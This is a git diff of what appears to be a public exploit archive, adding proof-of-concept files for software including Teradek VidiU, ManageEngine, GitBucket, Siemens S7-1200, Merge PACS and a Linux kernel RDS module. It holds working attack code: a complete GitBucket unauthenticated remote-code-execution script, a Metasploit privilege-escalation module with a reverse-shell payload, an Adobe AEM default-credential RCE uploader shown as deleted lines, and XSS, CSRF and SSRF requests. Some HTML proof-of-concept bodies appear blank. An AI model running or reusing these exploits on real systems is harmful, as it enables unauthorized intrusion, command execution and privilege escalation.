diff --git a/exploits/hardware/webapps/44671.html b/exploits/hardware/webapps/44671.html new file mode 100644 index 000000000..157d82062 --- /dev/null +++ b/exploits/hardware/webapps/44671.html @@ -0,0 +1,53 @@ + + + + +
+ + + \ No newline at end of file diff --git a/exploits/hardware/webapps/44672.txt b/exploits/hardware/webapps/44672.txt new file mode 100644 index 000000000..53fb392d7 --- /dev/null +++ b/exploits/hardware/webapps/44672.txt @@ -0,0 +1,118 @@ +Teradek VidiU Pro 3.0.3 SSRF Vulnerability + + +Vendor: Teradek, LLC +Product web page: https://www.teradek.com +Affected version: VidiU, VidiU Mini, VidiU Pro + 3.0.3r32136 + 3.0.2r31225 + 2.4.10 + +Summary: The Teradek VidiU gives you the freedom to broadcast live +high definition video directly to the Web without a PC. Whether you're +streaming out of a video switcher or wirelessly from your camera, +VidiU allows you to go live when you want, where you want. VidiU +offers API level integration with the Ustream, YouTube Live and +Livestream platforms, which makes streaming to your channel as +easy as logging into your account. + +Desc: A server-side request forgery (SSRF) vulnerability exists in +the VidiU management interface within the RTMP settings and the Wowza +server mode functionality. The application parses user supplied data +in the GET parameters 'url' and 'xml_url' to construct a page request +that loads the configuration for specific service. Since no validation +is carried out on the parameters, an attacker can specify an external +domain and force the application to make a HTTP request to an arbitrary +destination host, including xml data parsing (XXE potential). This can +be used by an external attacker for example to bypass firewalls and +initiate a service and network enumeration on the internal network +through the affected application. + +Tested on: lighttpd/1.4.48 + lighttpd/1.4.31 + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2018-5461 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5461.php + + +02.03.2018 + +-- + + +SSRF open port: +--------------- + +GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:443&_=1526243349301 HTTP/1.1 +Host: 127.0.0.1:8090 + + +HTTP/1.1 200 OK +Content-Type: application/json +Connection: close +Date: Sun, 13 May 2018 21:42:30 GMT +Server: lighttpd/1.4.31 +Content-Length: 31 + +{"error":"invalid parameters"} + + +SSRF closed port: +----------------- + +GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:7777&_=1526243349301 HTTP/1.1 +Host: 127.0.0.1:8090 + + +HTTP/1.1 200 OK +Content-Length: 0 +Connection: close +Date: Sun, 13 May 2018 21:43:30 GMT +Server: lighttpd/1.4.31 + + +=================================================== + + +SSRF closed port: +----------------- + +GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:7777&_=1526244218671 HTTP/1.1 +Host: 127.0.0.1:8090 + + +{"result":"error", "error":"Curl error"} + + +SSRF open port: +--------------- + +GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:443&_=1526244218671 HTTP/1.1 +Host: 127.0.0.1:8090 + + +{"result":"error", "error":"Bad request"} + + +=================================================== + + +PoC CSRF Blind XXE SSRF OOB: +---------------------------- + + + + + + \ No newline at end of file diff --git a/exploits/hardware/webapps/44675.html b/exploits/hardware/webapps/44675.html new file mode 100644 index 000000000..f8afecad5 --- /dev/null +++ b/exploits/hardware/webapps/44675.html @@ -0,0 +1,50 @@ + + + + + + + + \ No newline at end of file diff --git a/exploits/hardware/webapps/44676.html b/exploits/hardware/webapps/44676.html new file mode 100644 index 000000000..44ad6f96a --- /dev/null +++ b/exploits/hardware/webapps/44676.html @@ -0,0 +1,48 @@ + + + + + + + + \ No newline at end of file diff --git a/exploits/java/webapps/44666.txt b/exploits/java/webapps/44666.txt new file mode 100644 index 000000000..294828581 --- /dev/null +++ b/exploits/java/webapps/44666.txt @@ -0,0 +1,35 @@ +# Exploit Title: ManageEngine Recovery Manager Plus 5.3 (Build 5330) - Persistent Cross-Site Scripting +# Dated: 2018-03-31 +# Exploit Author: Ahmet GÜREL +# Software Link: https://www.manageengine.com/ad-recovery-manager/ +# Version: < = 5.3 (Build 5330) +# Platform: Java +# Tested on: Windows +# CVE: CVE-2018-9163 + +# 1. DETAILS +# In the Add New Technician (s) section on the /admin/technicians page of the +# ManageEngine Recovery Manager Plus 5.3 (Build 5330) application, allows +# remote authenticated users with the Login Name parameter is vulnerable to +# XSS. The parameters entered are written in the database and affect all +# users. + +# 2. PoC: +# From the Add New Technician (s) page, it is possible to inject malicious +# web code inside Login Name parameter. The HTTP request looks like the following: + +GET +/technicianAction.do?req={%22domainId%22:0,%22loginName%22:%22%3Csvg%20onload%3Dprompt(document.domain)%3E%22,%22password%22:%22Test123%22,%22isDomainUser%22:false,%22roleId%22:1,%22operation%22:%22createTechnicians%22} +HTTP/1.1 +Host: 172.16.219.168:8090 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0) +Gecko/20100101 Firefox/59.0 +Accept: application/json, text/javascript, */*; q=0.01 +Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Referer: http://172.16.219.168:8090/ +Content-Type: application/json; charset=utf-8 +X-Requested-With: XMLHttpRequest +Cookie: JSESSIONIDRMP=64556C394C0687AA34179CFE2EF4EA5A; +JSESSIONIDSSO=0605E8EB825B181A4A201542A518457D +Connection: close \ No newline at end of file diff --git a/exploits/java/webapps/44668.py b/exploits/java/webapps/44668.py new file mode 100755 index 000000000..05313de7f --- /dev/null +++ b/exploits/java/webapps/44668.py @@ -0,0 +1,171 @@ +# Exploit Title: GitBucket 4.23.1 Unauthenticated RCE +# Date: 21-05-2018 +# Software Link: https://github.com/gitbucket/gitbucket +# Exploit Author: Kacper Szurek +# Contact: https://twitter.com/KacperSzurek +# Website: https://security.szurek.pl/ +# Category: remote + +1. Description + +Abusing weak secret token and passing insecure parameter to File function. + +2. Proof of Concept + +import os +try: + from Crypto.Cipher import Blowfish +except: + print "pip install pycrypto" + os._exit(0) + +import binascii +import base64 +import urllib2 +import urllib +import time +import sys +import pickle + +print "GitBucket 4.23.1 Unauthenticated RCE" +print "by Kacper Szurek" +print "https://security.szurek.pl/" + +print "Working only when server is installed on Windows" + +def PKCS5Padding(string): + byteNum = len(string) + packingLength = 8 - byteNum % 8 + appendage = chr(packingLength) * packingLength + return string + appendage + +def encrypt(content, key): + content = PKCS5Padding(content) + cipher = Blowfish.new(key, Blowfish.MODE_ECB) + return base64.b64encode(cipher.encrypt(content)) + +def get_file(git_bucket_url, file, key, expiration_time): + payload = "{} {}".format(expiration_time, file) + authorization = encrypt(payload, key) + url = "{}/git-lfs/aa/bb/{}".format(git_bucket_url, file) + + try: + request = urllib2.Request(url) + request.add_header("Authorization", authorization) + result = urllib2.urlopen(request).read() + return result + + except Exception, e: + # If payload is correct and file does not exist, we got error 400 + if not "Error 500" in e.read(): + return 'OK' + +def put_file(git_bucket_url, file, key, expiration_time, content): + payload = "{} {}".format(expiration_time, file) + authorization = encrypt(payload, key) + url = "{}/git-lfs/aa/bb/{}".format(git_bucket_url, file) + + try: + request = urllib2.Request(url, data=content) + request.add_header("Authorization", authorization) + request.get_method = lambda: 'PUT' + result = urllib2.urlopen(request) + return result.getcode() == 200 + + except Exception, e: + return None + +def send_command(git_bucket_url, command): + try: + result = urllib2.urlopen("{}/exploit?{}".format(git_bucket_url, urllib.urlencode({'command' : command}))).read() + return result + except: + return None + +def pickle_key(url, key): + output = open(pickle_path, "wb") + pickle.dump({'url' : url, 'key' : key}, output) + output.close() + print "[+] Key pickled for futher use" + + +def unpickle_key(url): + if os.path.isfile(pickle_path): + pickled_file = open(pickle_path, "rb") + data = pickle.load(pickled_file) + pickled_file.close() + if data['url'] == url: + return data['key'] + return None + +if len(sys.argv) != 3: + print "[-] Usage: exploit.py url command" + os._exit(0) + + +exploit_jar = 'exploit.jar' +url = sys.argv[1] +command = sys.argv[2] +pickle_path = 'gitbucket.pickle' + +if url.endswith('/'): + url = url[0:-1] + +try: + is_gitbucket = urllib2.urlopen("{}/api/v3/".format(url), timeout=5).read() +except: + is_gitbucket = "" + +if not is_gitbucket.startswith('{"rate_limit_url"'): + print "[-] Probably not gitbucket url: {}".format(url) + os._exit(0) + +if not os.path.isfile(exploit_jar): + print "[-] Missing exploit file: {}".format(exploit_jar) + os._exit(0) + +expiration_time = int(round(time.time() * 1000))+(1000*6000) +print "[+] Set expire time to: {}".format(expiration_time) + +print "[+] Start search blowfish key: " +for i in range(0, 10000): + if i % 100 == 0: + print "+", + + potential_key = unpickle_key(url) + if potential_key: + print "\n[+] Unpickle key, try it" + else: + potential_key = str(i).zfill(4) + + config_path = "non_existing_file" + config_content = get_file(url, config_path, potential_key, expiration_time) + if config_content: + print "\n[+] Found blowfish key: {}".format(potential_key) + print "[+] Config content:\n{}".format(config_content) + + exploit_path = "..\..\..\..\plugins\exploit.jar" + f = open(exploit_jar, "rb") + exploit_content = f.read() + f.close() + if put_file(url, exploit_path, potential_key, expiration_time, exploit_content): + print "[+] Wait few second for plugin load" + time.sleep(5) + command_content = send_command(url, "cmd /c {}".format(command)) + + if command_content: + pickle_key(url, potential_key) + print command_content + else: + print "[-] Cannot execute command" + + else: + print "[-] Cannot upload exploit.jar" + + os._exit(0) + +3. Solution: + +Update to version 4.24.1 + +https://github.com/gitbucket/gitbucket/releases/download/4.24.1/gitbucket.war \ No newline at end of file diff --git a/exploits/jsp/webapps/44659.py b/exploits/jsp/webapps/44659.py deleted file mode 100755 index 25547dc5f..000000000 --- a/exploits/jsp/webapps/44659.py +++ /dev/null @@ -1,56 +0,0 @@ -# Exploit Title: Adobe Experience Manager (AEM) < 6.3 default credentials leads to RCE -# Date: 5/19/18 -# Exploit Author: StaticFlow -# Vendor Homepage: https://www.adobe.com/in/marketing-cloud/experience-manager.html -# Version: < 6.3 -import requests -import sys - -baseUrl = 'https://test.com/' #default domain, change here or pass in on command line -credentialList = [['anonymous','anonymous'], ['author','author'], ['admin','admin']] -exploit = 'rce.jsp' #default file name, must be in same dir as python file or passed in on command line - -def testLogins(): - for credential in credentialList: - response = requests.get(baseUrl, auth=(credential[0], credential[1])) - if(response.status_code == 200): - return credential - return False - -if len(sys.argv) == 2: - baseUrl = sys.argv[1] -if len(sys.argv) == 3: - exploit = sys.argv[2] - -gotCreds = testLogins() -if(gotCreds): - attackChain = [ - { - 'jcr:primaryType': (None, 'nt:folder') #create a folder for our exploit - }, - { - 'exec.jsp': ('rce.jsp', open(exploit, 'rb')) #upload the exploit - }, - { - ':operation': (None, 'copy'), #copy exploit folder over to app folder for staging - ':dest': (None, '/apps/rcetype') - }, - { - 'sling:resourceType': (None, 'rcetype') #instruct Apache Sling to initialize our exploit code as a servlet - } - ] - print "creating folder structure and uploading exploit" - for attack in attackChain[:-1]: - response = requests.post(baseUrl+'content/rcetype', files=attack, auth=(gotCreds[0], gotCreds[1])) - if response.status_code > 201: - print "Something went wrong, request returned a "+str(response.status_code)+". Here's the response:" - print response.content - sys.exit(0) - - print "initializing servlet from exploit" - response = requests.post(baseUrl+'content/rce', files=attackChain[-1], auth=(gotCreds[0], gotCreds[1])) - if response.status_code > 201: - print "Something went wrong, request returned a "+str(response.status_code)+". Here's the response:" - print response.content - sys.exit(0) - print """Should be good to go, run 'curl -X "GET" -u {}:{} {}' and your exploit should run""".format(gotCreds[0],gotCreds[1],baseUrl+'content/rce.exec') \ No newline at end of file diff --git a/exploits/linux/local/44677.rb b/exploits/linux/local/44677.rb new file mode 100755 index 000000000..a672bb5bf --- /dev/null +++ b/exploits/linux/local/44677.rb @@ -0,0 +1,187 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Reliable Datagram Sockets (RDS) Privilege Escalation', + 'Description' => %q{ + This module exploits a vulnerability in the rds_page_copy_user function + in net/rds/page.c (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8 + to execute code as root (CVE-2010-3904). + + This module has been tested successfully on Fedora 13 (i686) with + kernel version 2.6.33.3-85.fc13.i686.PAE and Ubuntu 10.04 (x86_64) + with kernel version 2.6.32-21-generic. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Dan Rosenberg', # Discovery and C exploit + 'Brendan Coles' # Metasploit + ], + 'DisclosureDate' => 'Oct 20 2010', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'AKA', 'rds-fail.c' ], + [ 'EDB', '15285' ], + [ 'CVE', '2010-3904' ], + [ 'BID', '44219' ], + [ 'URL', 'https://securitytracker.com/id?1024613' ], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=799c10559d60f159ab2232203f222f18fa3c4a5f' ], + [ 'URL', 'http://vulnfactory.org/exploits/rds-fail.c' ], + [ 'URL', 'http://web.archive.org/web/20101020044047/http://www.vsecurity.com/resources/advisory/20101019-1/' ], + [ 'URL', 'http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c' ], + ], + 'DefaultOptions' => + { + 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', + 'WfsDelay' => 10, + 'PrependFork' => true + }, + 'DefaultTarget' => 0)) + register_options [ + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def modules_disabled? + modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip + (modules_disabled.eql?('1') || modules_disabled.eql?('2')) + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + cmd_exec "chmod +x '#{path}'" + end + + def upload_and_compile(path, data) + upload "#{path}.c", data + output = cmd_exec "gcc -o #{path} #{path}.c" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile" + end + + cmd_exec "chmod +x #{path}" + register_file_for_cleanup path + end + + def exploit_data(file) + path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2010-3904', file + fd = ::File.open path, 'rb' + data = fd.read fd.stat.size + fd.close + data + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + + def check + version = kernel_release + unless Gem::Version.new(version.split('-').first) >= Gem::Version.new('2.6.30') && + Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.37') + vprint_error "Linux kernel version #{version} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Linux kernel version #{version} appears to be vulnerable" + + unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets' + vprint_error 'RDS kernel module is not available' + return CheckCode::Safe + end + vprint_good 'RDS kernel module is available' + + if modules_disabled? + unless cmd_exec('/sbin/lsmod').to_s.include? 'rds' + vprint_error 'RDS kernel module is not loadable' + return CheckCode::Safe + end + end + vprint_good 'RDS kernel module is loadable' + + CheckCode::Appears + end + + def exploit + unless check == CheckCode::Appears + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # Upload exploit executable + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + upload_and_compile executable_path, exploit_data('rds-fail.c') + else + vprint_status 'Dropping pre-compiled exploit on system...' + arch = kernel_hardware + case arch + when /amd64|ia64|x86_64|x64/i + upload_and_chmodx executable_path, exploit_data('rds-fail.x64') + when /x86|i[3456]86/ + upload_and_chmodx executable_path, exploit_data('rds-fail.x86') + else + fail_with Failure::NoTarget, "No pre-compiled binaries are available for system architecture: #{arch}" + end + end + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + + # Launch exploit + print_status 'Launching exploit...' + output = cmd_exec "#{executable_path} #{payload_path}" + output.each_line { |line| vprint_status line.chomp } + end +end \ No newline at end of file diff --git a/exploits/linux/webapps/44667.txt b/exploits/linux/webapps/44667.txt new file mode 100644 index 000000000..45e8e0045 --- /dev/null +++ b/exploits/linux/webapps/44667.txt @@ -0,0 +1,15 @@ +# Exploit Title: Siemens SIMATIC S7-1200 CPU - Cross-Site Request Forgery +# Google Dork: inurl:/Portal/Portal.mwsl +# Date: 2018-05-21 +# Exploit Author: t4rkd3vilz, Jameel Nabbo +# Vendor Homepage: https://www.siemens.com/ +# Version: SIMATIC S7-1200 CPU family: All versions prior to V4.1.3 +# Tested on: Kali Linux +# CVE: CVE-2015- 5698 + +# 1. Proof of Concept + + \ No newline at end of file diff --git a/exploits/linux/webapps/44681.txt b/exploits/linux/webapps/44681.txt new file mode 100644 index 000000000..4dd7c045b --- /dev/null +++ b/exploits/linux/webapps/44681.txt @@ -0,0 +1,39 @@ +# Exploit Title: Merge PACS 7.0 - Cross-Site Request Forgery +# Google Dork: - +# Date: 2018-05-21 +# Exploit Author: Safak Aslan +# Vendor Homepage: http://www.merge.com/ +# Version: Merge PACS 7.0 +# Tested on: Windows +# CVE: - + +# 1. Proof of Concept + + + + + + + + +Post Data: + +POST /servlet/actions/merge-viewer/summary HTTP/1.1 +Host: targetIP +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en,tr-TR;q=0.8,tr;q=0.5,en-US;q=0.3 +Accept-Encoding: gzip, deflate +Referer: https://targetIP/servlet/actions/merge-viewer/login?redirectTo=https%3A%2F%2FtargetIP%2Fservlet%2Factions%2Fmerge-viewer%2Fsummary +Content-Type: application/x-www-form-urlencoded +Content-Length: 55 +Cookie: JSESSIONID=6846606B53045FE6474A57C71719C93D +Connection: close +Upgrade-Insecure-Requests: 1 + +amicasUsername=merge&password=viewer&submitButton=Login \ No newline at end of file diff --git a/exploits/php/webapps/44661.txt b/exploits/php/webapps/44661.txt new file mode 100644 index 000000000..2cd1810c1 --- /dev/null +++ b/exploits/php/webapps/44661.txt @@ -0,0 +1,57 @@ +# Exploit Title: Superfood - Restaurants & Online Food Order System 1.0 - Persistent cross site scripting / Cross site request forgery / Admin panel Authentication bypass +# Date: 2018-05-20 +# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com +# Vendor Homepage: https://codecanyon.net/item/superfood-restaurants-online-food-order-system/16855836?s_rank=30 +# Version: 1.0 +# Tested on: Kali linux +==================================================== +# Description: +Superfood - Restaurants & Online Food Order System 1.0 suffers from multiple vulnerabilities : +==================================================== +# POC 1 : Persistent cross site scripting : +1) After creating an account , go to your profile. +2) Navigate to "Update profile" and put this payload : +"/> +3) You will have an alert box in the page . +==================================================== +# POC 2 : CSRF : +Attacker can change user's authentication directly : +# User's CSRF exploit : + + +